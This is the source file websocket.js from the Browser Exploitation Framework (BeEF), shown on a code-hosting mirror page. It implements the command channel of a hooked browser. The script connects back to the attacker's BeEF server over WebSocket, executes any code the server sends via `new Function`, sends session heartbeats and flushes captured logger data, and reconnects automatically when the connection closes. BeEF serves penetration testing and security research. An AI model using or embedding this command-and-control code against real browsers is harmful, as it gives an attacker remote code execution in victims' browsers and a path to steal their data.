Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/websocket.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
/**
9
* Manage the WebSocket communication channel.
10
* This channel is much faster and responsive, and it's used automatically
11
* if the browser supports WebSockets AND beef.http.websocket.enable = true.
12
* @namespace beef.websocket
13
*/
14
15
beef.websocket = {
16
17
socket:null,
18
ws_poll_timeout: "<%= @ws_poll_timeout %>",
19
ws_connect_timeout: "<%= @ws_connect_timeout %>",
20
21
/**
22
* Initialize the WebSocket client object.
23
* Note: use WebSocketSecure only if the hooked origin is under https.
24
* Mixed-content in WS is quite different from a non-WS context.
25
*/
26
init:function () {
27
var webSocketServer = beef.net.host;
28
var webSocketPort = "<%= @websocket_port %>";
29
var webSocketSecure = "<%= @websocket_secure %>";
30
var protocol = "ws://";
31
32
if(webSocketSecure && window.location.protocol=="https:"){
33
protocol = "wss://";
34
webSocketPort= "<%= @websocket_sec_port %>";
35
}
36
37
if (beef.browser.isFF() && !!window.MozWebSocket) {
38
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
39
}else{
40
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
41
}
42
43
},
44
45
/**
46
* Send Hello message to the BeEF server and start async polling.
47
*/
48
start:function () {
49
new beef.websocket.init();
50
this.socket.onopen = function () {
51
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
52
beef.websocket.alive();
53
};
54
55
this.socket.onmessage = function (message) {
56
// Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
57
// That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
58
// It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
59
new Function(message.data)();
60
};
61
62
this.socket.onclose = function () {
63
setTimeout(function(){beef.websocket.start()}, 5000);
64
};
65
},
66
67
/**
68
* Send data back to BeEF. This is basically the same as beef.net.send,
69
* but doesn't queue commands.
70
* Example usage:
71
* beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
72
* '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
73
* '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
74
*/
75
send:function (data) {
76
try {
77
this.socket.send(data);
78
}catch(err){}
79
},
80
81
/**
82
* Polling mechanism, to notify the BeEF server that the browser is still hooked,
83
* and the WebSocket channel still alive.
84
* todo: there is probably a more efficient way to do this. Double-check WebSocket API.
85
*/
86
alive: function (){
87
try {
88
if (beef.logger.running) {
89
beef.logger.queue();
90
}
91
} catch(err){}
92
93
beef.net.flush();
94
95
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
96
setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));
97
}
98
};
99
100
beef.regCmp('beef.websocket');
101
102